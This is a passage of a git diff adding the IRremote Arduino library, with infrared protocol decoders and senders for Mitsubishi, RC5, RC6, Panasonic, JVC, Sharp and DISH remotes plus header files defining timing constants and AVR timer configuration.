except for timings, 48 chars of data and time/space different +long IRrecv::decodeMitsubishi(decode_results *results) { + // Serial.print("?!? decoding Mitsubishi:");Serial.print(irparams.rawlen); Serial.print(" want "); Serial.println( 2 * MITSUBISHI_BITS + 2); + long data = 0; + if (irparams.rawlen < 2 * MITSUBISHI_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + /* Not seeing double keys from Mitsubishi + if (results->rawbuf[offset] < MITSUBISHI_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = MITSUBISHI; + return DECODED; + } + */ + offset++; + + // Typical + // 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + + // Initial Space + if (!MATCH_MARK(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + return ERR; + } + offset++; + while (offset + 1 < irparams.rawlen) { + if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ZERO_MARK)) { + data <<= 1; + } + else { + // Serial.println("A"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + // Serial.println("B"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + break; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < MITSUBISHI_BITS) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = MITSUBISHI; + return DECODED; +} + + +// Gets one undecoded level at a time from the raw buffer. +// The RC5/6 decoding is easier if the data is broken into time intervals. +// E.g. if the buffer has MARK for 2 time intervals and SPACE for 1, +// successive calls to getRClevel will return MARK, MARK, SPACE. +// offset and used are updated to keep track of the current position. +// t1 is the time interval for a single bit in microseconds. +// Returns -1 for error (measured time interval is not a multiple of t1). +int IRrecv::getRClevel(decode_results *results, int *offset, int *used, int t1) { + if (*offset >= results->rawlen) { + // After end of recorded buffer, assume SPACE. + return SPACE; + } + int width = results->rawbuf[*offset]; + int val = ((*offset) % 2) ? MARK : SPACE; + int correction = (val == MARK) ? MARK_EXCESS : - MARK_EXCESS; + + int avail; + if (MATCH(width, t1 + correction)) { + avail = 1; + } + else if (MATCH(width, 2*t1 + correction)) { + avail = 2; + } + else if (MATCH(width, 3*t1 + correction)) { + avail = 3; + } + else { + return -1; + } + + (*used)++; + if (*used >= avail) { + *used = 0; + (*offset)++; + } +#ifdef DEBUG + if (val == MARK) { + Serial.println("MARK"); + } + else { + Serial.println("SPACE"); + } +#endif + return val; +} + +long IRrecv::decodeRC5(decode_results *results) { + if (irparams.rawlen < MIN_RC5_SAMPLES + 2) { + return ERR; + } + int offset = 1; // Skip gap space + long data = 0; + int used = 0; + // Get start bits + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != SPACE) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + int nbits; + for (nbits = 0; offset < irparams.rawlen; nbits++) { + int levelA = getRClevel(results, &offset, &used, RC5_T1); + int levelB = getRClevel(results, &offset, &used, RC5_T1); + if (levelA == SPACE && levelB == MARK) { + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == MARK && levelB == SPACE) { + // zero bit + data <<= 1; + } + else { + return ERR; + } + } + + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC5; + return DECODED; +} + +long IRrecv::decodeRC6(decode_results *results) { + if (results->rawlen < MIN_RC6_SAMPLES) { + return ERR; + } + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], RC6_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], RC6_HDR_SPACE)) { + return ERR; + } + offset++; + long data = 0; + int used = 0; + // Get start bit (1) + if (getRClevel(results, &offset, &used, RC6_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC6_T1) != SPACE) return ERR; + int nbits; + for (nbits = 0; offset < results->rawlen; nbits++) { + int levelA, levelB; // Next two levels + levelA = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelA != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + levelB = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelB != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + if (levelA == MARK && levelB == SPACE) { // reversed compared to RC5 + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == SPACE && levelB == MARK) { + // zero bit + data <<= 1; + } + else { + return ERR; // Error + } + } + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC6; + return DECODED; +} +long IRrecv::decodePanasonic(decode_results *results) { + unsigned long long data = 0; + int offset = 1; + + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_SPACE)) { + return ERR; + } + offset++; + + // decode address + for (int i = 0; i < PANASONIC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset++], PANASONIC_BIT_MARK)) { + return ERR; + } + if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ONE_SPACE)) { + data = (data << 1) | 1; + } else if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ZERO_SPACE)) { + data <<= 1; + } else { + return ERR; + } + offset++; + } + results->value = (unsigned long)data; + results->panasonicAddress = (unsigned int)(data >> 32); + results->decode_type = PANASONIC; + results->bits = PANASONIC_BITS; + return DECODED; +} +long IRrecv::decodeJVC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Check for repeat + if (irparams.rawlen - 1 == 33 && + MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK) && + MATCH_MARK(results->rawbuf[irparams.rawlen-1], JVC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = JVC; + return DECODED; + } + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], JVC_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * JVC_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], JVC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < JVC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], JVC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], JVC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)){ + return ERR; + } + // Success + results->bits = JVC_BITS; + results->value = data; + results->decode_type = JVC; + return DECODED; +} + +/* ----------------------------------------------------------------------- + * hashdecode - decode an arbitrary IR code. + * Instead of decoding using a standard encoding scheme + * (e.g. Sony, NEC, RC5), the code is hashed to a 32-bit value. + * + * The algorithm: look at the sequence of MARK signals, and see if each one + * is shorter (0), the same length (1), or longer (2) than the previous. + * Do the same with the SPACE signals. Hszh the resulting sequence of 0's, + * 1's, and 2's to a 32-bit value. This will give a unique value for each + * different code (probably), for most code systems. + * + * http://arcfn.com/2010/01/using-arbitrary-remotes-with-arduino.html + */ + +// Compare two tick values, returning 0 if newval is shorter, +// 1 if newval is equal, and 2 if newval is longer +// Use a tolerance of 20% +int IRrecv::compare(unsigned int oldval, unsigned int newval) { + if (newval < oldval * .8) { + return 0; + } + else if (oldval < newval * .8) { + return 2; + } + else { + return 1; + } +} + +// Use FNV hash algorithm: http://isthe.com/chongo/tech/comp/fnv/#FNV-param +#define FNV_PRIME_32 16777619 +#define FNV_BASIS_32 2166136261 + +/* Converts the raw code values into a 32-bit hash code. + * Hopefully this code is unique for each button. + * This isn't a "real" decoding, just an arbitrary value. + */ +long IRrecv::decodeHash(decode_results *results) { + // Require at least 6 samples to prevent triggering on noise + if (results->rawlen < 6) { + return ERR; + } + long hash = FNV_BASIS_32; + for (int i = 1; i+2 < results->rawlen; i++) { + int value = compare(results->rawbuf[i], results->rawbuf[i+2]); + // Add value into the hash + hash = (hash * FNV_PRIME_32) ^ value; + } + results->value = hash; + results->bits = 32; + results->decode_type = UNKNOWN; + return DECODED; +} + +/* Sharp and DISH support by Todd Treece ( http://unionbridge.org/design/ircommand ) + +The Dish send function needs to be repeated 4 times, and the Sharp function +has the necessary repeat built in because of the need to invert the signal. + +Sharp protocol documentation: +http://www.sbprojects.com/knowledge/ir/sharp.htm + +Here are the LIRC files that I found that seem to match the remote codes +from the oscilloscope: + +Sharp LCD TV: +http://lirc.sourceforge.net/remotes/sharp/GA538WJSA + +DISH NETWORK (echostar 301): +http://lirc.sourceforge.net/remotes/echostar/301_501_3100_5100_58xx_59xx + +For the DISH codes, only send the last for characters of the hex. +i.e. use 0x1C10 instead of 0x0000000000001C10 which is listed in the +linked LIRC file. +*/ + +void IRsend::sendSharp(unsigned long data, int nbits) { + unsigned long invertdata = data ^ SHARP_TOGGLE_MASK; + enableIROut(38); + for (int i = 0; i < nbits; i++) { + if (data & 0x4000) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + data <<= 1; + } + + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(46); + for (int i = 0; i < nbits; i++) { + if (invertdata & 0x4000) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + invertdata <<= 1; + } + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(46); +} + +void IRsend::sendDISH(unsigned long data, int nbits) +{ + enableIROut(56); + mark(DISH_HDR_MARK); + space(DISH_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & DISH_TOP_BIT) { + mark(DISH_BIT_MARK); + space(DISH_ONE_SPACE); + } + else { + mark(DISH_BIT_MARK); + space(DISH_ZERO_SPACE); + } + data <<= 1; + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremote.h b/Projects/libraries/Installed_libs/IRRemote/IRremote.h new file mode 100755 index 0000000..0e5fdf2 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremote.h @@ -0,0 +1,118 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.htm http://arcfn.com + * Edited by Mitra to add new controller SANYO + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef IRremote_h +#define IRremote_h + +// The following are compile-time library options. +// If you change them, recompile the library. +// If DEBUG is defined, a lot of debugging output will be printed during decoding. +// TEST must be defined for the IRtest unittests to work. It will make some +// methods virtual, which will be slightly slower, which is why it is optional. +// #define DEBUG +// #define TEST + +// Results returned from the decoder +class decode_results { +public: + int decode_type; // NEC, SONY, RC5, UNKNOWN + unsigned int panasonicAddress; // This is only used for decoding Panasonic data + unsigned long value; // Decoded value + int bits; // Number of bits in decoded value + volatile unsigned int *rawbuf; // Raw intervals in .5 us ticks + int rawlen; // Number of records in rawbuf. +}; + +// Values for decode_type +#define NEC 1 +#define SONY 2 +#define RC5 3 +#define RC6 4 +#define DISH 5 +#define SHARP 6 +#define PANASONIC 7 +#define JVC 8 +#define SANYO 9 +#define MITSUBISHI 10 +#define UNKNOWN -1 + +// Decoded value for NEC when a repeat code is received +#define REPEAT 0xffffffff + +// main class for receiving IR +class IRrecv +{ +public: + IRrecv(int recvpin); + void blink13(int blinkflag); + int decode(decode_results *results); + void enableIRIn(); + void resume(); +private: + // These are called by decode + int getRClevel(decode_results *results, int *offset, int *used, int t1); + long decodeNEC(decode_results *results); + long decodeSony(decode_results *results); + long decodeSanyo(decode_results *results); + long decodeMitsubishi(decode_results *results); + long decodeRC5(decode_results *results); + long decodeRC6(decode_results *results); + long decodePanasonic(decode_results *results); + long decodeJVC(decode_results *results); + long decodeHash(decode_results *results); + int compare(unsigned int oldval, unsigned int newval); + +} +; + +// Only used for testing; can remove virtual for shorter code +#ifdef TEST +#define VIRTUAL virtual +#else +#define VIRTUAL +#endif + +class IRsend +{ +public: + IRsend() {} + void sendNEC(unsigned long data, int nbits); + void sendSony(unsigned long data, int nbits); + // Neither Sanyo nor Mitsubishi send is implemented yet + // void sendSanyo(unsigned long data, int nbits); + // void sendMitsubishi(unsigned long data, int nbits); + void sendRaw(unsigned int buf[], int len, int hz); + void sendRC5(unsigned long data, int nbits); + void sendRC6(unsigned long data, int nbits); + void sendDISH(unsigned long data, int nbits); + void sendSharp(unsigned long data, int nbits); + void sendPanasonic(unsigned int address, unsigned long data); + void sendJVC(unsigned long data, int nbits, int repeat); // *Note instead of sending the REPEAT constant if you want the JVC repeat signal sent, send the original code value and change the repeat argument from 0 to 1. JVC protocol repeats by skipping the header NOT by sending a separate code value like NEC does. + // private: + void enableIROut(int khz); + VIRTUAL void mark(int usec); + VIRTUAL void space(int usec); +} +; + +// Some useful constants + +#define USECPERTICK 50 // microseconds per clock interrupt tick +#define RAWBUF 100 // Length of raw duration buffer + +// Marks tend to be 100us too long, and spaces 100us too short +// when received due to sensor lag. +#define MARK_EXCESS 100 + +#endif diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h b/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h new file mode 100755 index 0000000..824632f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremoteInt.h @@ -0,0 +1,457 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef IRremoteint_h +#define IRremoteint_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include +#else +#include +#endif + +// define which timer to use +// +// Uncomment the timer you wish to use on your board. If you +// are using another library which uses timer2, you have options +// to switch IRremote to use a different timer. + +// Arduino Mega +#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) + //#define IR_USE_TIMER1 // tx = pin 11 + #define IR_USE_TIMER2 // tx = pin 9 + //#define IR_USE_TIMER3 // tx = pin 5 + //#define IR_USE_TIMER4 // tx = pin 6 + //#define IR_USE_TIMER5 // tx = pin 46 + +// Teensy 1.0 +#elif defined(__AVR_AT90USB162__) + #define IR_USE_TIMER1 // tx = pin 17 + +// Teensy 2.0 +#elif defined(__AVR_ATmega32U4__) + //#define IR_USE_TIMER1 // tx = pin 14 + //#define IR_USE_TIMER3 // tx = pin 9 + #define IR_USE_TIMER4_HS // tx = pin 10 + +// Teensy++ 1.0 & 2.0 +#elif defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) + //#define IR_USE_TIMER1 // tx = pin 25 + #define IR_USE_TIMER2 // tx = pin 1 + //#define IR_USE_TIMER3 // tx = pin 16 + +// Sanguino +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) + //#define IR_USE_TIMER1 // tx = pin 13 + #define IR_USE_TIMER2 // tx = pin 14 + +// Atmega8 +#elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define IR_USE_TIMER1 // tx = pin 9 + +#elif defined( __AVR_ATtinyX4__ ) + #define IR_USE_TIMER1 // tx = pin 6 + +// Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc +#else + //#define IR_USE_TIMER1 // tx = pin 9 + #define IR_USE_TIMER2 // tx = pin 3 +#endif + + + +#ifdef F_CPU +#define SYSCLOCK F_CPU // main Arduino clock +#else +#define SYSCLOCK 16000000 // main Arduino clock +#endif + +#define ERR 0 +#define DECODED 1 + + +// defines for setting and clearing register bits +#ifndef cbi +#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) +#endif +#ifndef sbi +#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) +#endif + +// Pulse parms are *50-100 for the Mark and *50+100 for the space +// First MARK is the one after the long gap +// pulse parameters in usec +#define NEC_HDR_MARK 9000 +#define NEC_HDR_SPACE 4500 +#define NEC_BIT_MARK 560 +#define NEC_ONE_SPACE 1600 +#define NEC_ZERO_SPACE 560 +#define NEC_RPT_SPACE 2250 + +#define SONY_HDR_MARK 2400 +#define SONY_HDR_SPACE 600 +#define SONY_ONE_MARK 1200 +#define SONY_ZERO_MARK 600 +#define SONY_RPT_LENGTH 45000 +#define SONY_DOUBLE_SPACE_USECS 500 // usually ssee 713 - not using ticks as get number wrapround + +// SA 8650B +#define SANYO_HDR_MARK 3500 // seen range 3500 +#define SANYO_HDR_SPACE 950 // seen 950 +#define SANYO_ONE_MARK 2400 // seen 2400 +#define SANYO_ZERO_MARK 700 // seen 700 +#define SANYO_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +#define SANYO_RPT_LENGTH 45000 + +// Mitsubishi RM 75501 +// 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + +// #define MITSUBISHI_HDR_MARK 250 // seen range 3500 +#define MITSUBISHI_HDR_SPACE 350 // 7*50+100 +#define MITSUBISHI_ONE_MARK 1950 // 41*50-100 +#define MITSUBISHI_ZERO_MARK 750 // 17*50-100 +// #define MITSUBISHI_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +// #define MITSUBISHI_RPT_LENGTH 45000 + + +#define RC5_T1 889 +#define RC5_RPT_LENGTH 46000 + +#define RC6_HDR_MARK 2666 +#define RC6_HDR_SPACE 889 +#define RC6_T1 444 +#define RC6_RPT_LENGTH 46000 + +#define SHARP_BIT_MARK 245 +#define SHARP_ONE_SPACE 1805 +#define SHARP_ZERO_SPACE 795 +#define SHARP_GAP 600000 +#define SHARP_TOGGLE_MASK 0x3FF +#define SHARP_RPT_SPACE 3000 + +#define DISH_HDR_MARK 400 +#define DISH_HDR_SPACE 6100 +#define DISH_BIT_MARK 400 +#define DISH_ONE_SPACE 1700 +#define DISH_ZERO_SPACE 2800 +#define DISH_RPT_SPACE 6200 +#define DISH_TOP_BIT 0x8000 + +#define PANASONIC_HDR_MARK 3502 +#define PANASONIC_HDR_SPACE 1750 +#define PANASONIC_BIT_MARK 502 +#define PANASONIC_ONE_SPACE 1244 +#define PANASONIC_ZERO_SPACE 400 + +#define JVC_HDR_MARK 8000 +#define JVC_HDR_SPACE 4000 +#define JVC_BIT_MARK 600 +#define JVC_ONE_SPACE 1600 +#define JVC_ZERO_SPACE 550 +#define JVC_RPT_LENGTH 60000 + +#define SHARP_BITS 15 +#define DISH_BITS 16 + +#define TOLERANCE 25 // percent tolerance in measurements +#define LTOL (1.0 - TOLERANCE/100.) +#define UTOL (1.0 + TOLERANCE/100.) + +#define _GAP 5000 // Minimum map between transmissions +#define GAP_TICKS (_GAP/USECPERTICK) + +#define TICKS_LOW(us) (int) (((us)*LTOL/USECPERTICK)) +#define TICKS_HIGH(us) (int) (((us)*UTOL/USECPERTICK + 1)) + +// receiver states +#define STATE_IDLE 2 +#define STATE_MARK 3 +#define STATE_SPACE 4 +#define STATE_STOP 5 + +// information for the interrupt handler +typedef struct { + uint8_t recvpin; // pin for IR data from detector + uint8_t rcvstate; // state machine + uint8_t blinkflag; // TRUE to enable blinking of pin 13 on IR processing + unsigned int timer; // state timer, counts 50uS ticks. + unsigned int rawbuf[RAWBUF]; // raw data + uint8_t rawlen; // counter of entries in rawbuf +} +irparams_t; + +// Defined in IRremote.cpp +extern volatile irparams_t irparams; + +// IR detector output is active low +#define MARK 0 +#define SPACE 1 + +#define TOPBIT 0x80000000 + +#define NEC_BITS 32 +#define SONY_BITS 12 +#define SANYO_BITS 12 +#define MITSUBISHI_BITS 16 +#define MIN_RC5_SAMPLES 11 +#define MIN_RC6_SAMPLES 1 +#define PANASONIC_BITS 48 +#define JVC_BITS 16 + + + + +// defines for timer2 (8 bits) +#if defined(IR_USE_TIMER2) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR2A |= _BV(COM2B1)) +#define TIMER_DISABLE_PWM (TCCR2A &= ~(_BV(COM2B1))) +#define TIMER_ENABLE_INTR (TIMSK2 = _BV(OCIE2A)) +#define TIMER_DISABLE_INTR (TIMSK2 = 0) +#define TIMER_INTR_NAME TIMER2_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint8_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR2A = _BV(WGM20); \ + TCCR2B = _BV(WGM22) | _BV(CS20); \ + OCR2A = pwmval; \ + OCR2B = pwmval / 3; \ +}) +#define TIMER_COUNT_TOP (SYSCLOCK * USECPERTICK / 1000000) +#if (TIMER_COUNT_TOP < 256) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS20); \ + OCR2A = TIMER_COUNT_TOP; \ + TCNT2 = 0; \ +}) +#else +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS21); \ + OCR2A = TIMER_COUNT_TOP / 8; \ + TCNT2 = 0; \ +}) +#endif +#if defined(CORE_OC2B_PIN) +#define TIMER_PWM_PIN CORE_OC2B_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 9 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 14 /* Sanguino */ +#else +#define TIMER_PWM_PIN 3 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer1 (16 bits) +#elif defined(IR_USE_TIMER1) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR1A |= _BV(COM1A1)) +#define TIMER_DISABLE_PWM (TCCR1A &= ~(_BV(COM1A1))) +#if defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define TIMER_ENABLE_INTR (TIMSK = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK = 0) +#else + #define TIMER_ENABLE_INTR (TIMSK1 = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK1 = 0) +#endif + +#if defined(__AVR_ATtinyX4__) + #define TIMER_INTR_NAME TIM1_COMPA_vect +#else + #define TIMER_INTR_NAME TIMER1_COMPA_vect +#endif + +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR1A = _BV(WGM11); \ + TCCR1B = _BV(WGM13) | _BV(CS10); \ + ICR1 = pwmval; \ + OCR1A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR1A = 0; \ + TCCR1B = _BV(WGM12) | _BV(CS10); \ + OCR1A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT1 = 0; \ +}) +#if defined(CORE_OC1A_PIN) +#define TIMER_PWM_PIN CORE_OC1A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 11 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 13 /* Sanguino */ +#elif defined(__AVR_ATtinyX4__) +#define TIMER_PWM_PIN 6 /* ATTiny84 */ +#else +#define TIMER_PWM_PIN 9 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer3 (16 bits) +#elif defined(IR_USE_TIMER3) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR3A |= _BV(COM3A1)) +#define TIMER_DISABLE_PWM (TCCR3A &= ~(_BV(COM3A1))) +#define TIMER_ENABLE_INTR (TIMSK3 = _BV(OCIE3A)) +#define TIMER_DISABLE_INTR (TIMSK3 = 0) +#define TIMER_INTR_NAME TIMER3_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR3A = _BV(WGM31); \ + TCCR3B = _BV(WGM33) | _BV(CS30); \ + ICR3 = pwmval; \ + OCR3A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR3A = 0; \ + TCCR3B = _BV(WGM32) | _BV(CS30); \ + OCR3A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT3 = 0; \ +}) +#if defined(CORE_OC3A_PIN) +#define TIMER_PWM_PIN CORE_OC3A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 5 /* Arduino Mega */ +#else +#error "Please add OC3A pin number here\n" +#endif + + +// defines for timer4 (10 bits, high speed option) +#elif defined(IR_USE_TIMER4_HS) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(TOIE4)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_OVF_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = (1<> 8; \ + OCR4C = pwmval; \ + TC4H = (pwmval / 3) >> 8; \ + OCR4A = (pwmval / 3) & 255; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(CS40); \ + TCCR4C = 0; \ + TCCR4D = 0; \ + TCCR4E = 0; \ + TC4H = (SYSCLOCK * USECPERTICK / 1000000) >> 8; \ + OCR4C = (SYSCLOCK * USECPERTICK / 1000000) & 255; \ + TC4H = 0; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN /* Teensy */ +#elif defined(__AVR_ATmega32U4__) +#define TIMER_PWM_PIN 13 /* Leonardo */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer4 (16 bits) +#elif defined(IR_USE_TIMER4) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(OCIE4A)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = _BV(WGM41); \ + TCCR4B = _BV(WGM43) | _BV(CS40); \ + ICR4 = pwmval; \ + OCR4A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(WGM42) | _BV(CS40); \ + OCR4A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 6 /* Arduino Mega */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer5 (16 bits) +#elif defined(IR_USE_TIMER5) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR5A |= _BV(COM5A1)) +#define TIMER_DISABLE_PWM (TCCR5A &= ~(_BV(COM5A1))) +#define TIMER_ENABLE_INTR (TIMSK5 = _BV(OCIE5A)) +#define TIMER_DISABLE_INTR (TIMSK5 = 0) +#define TIMER_INTR_NAME TIMER5_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR5A = _BV(WGM51); \ + TCCR5B = _BV(WGM53) | _BV(CS50); \ + ICR5 = pwmval; \ + OCR5A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR5A = 0; \ + TCCR5B = _BV(WGM52) | _BV(CS50); \ + OCR5A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT5 = 0; \ +}) +#if defined(CORE_OC5A_PIN) +#define TIMER_PWM_PIN CORE_OC5A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 46 /* Arduino Mega */ +#else +#error "Please add OC5A pin number here\n" +#endif + + +#else // unknown timer +#error "Internal code configuration error, no known IR_USE_TIMER# defined\n" +#endif + + +// defines for blinking the LED +#if defined(CORE_LED0_PIN) +#define 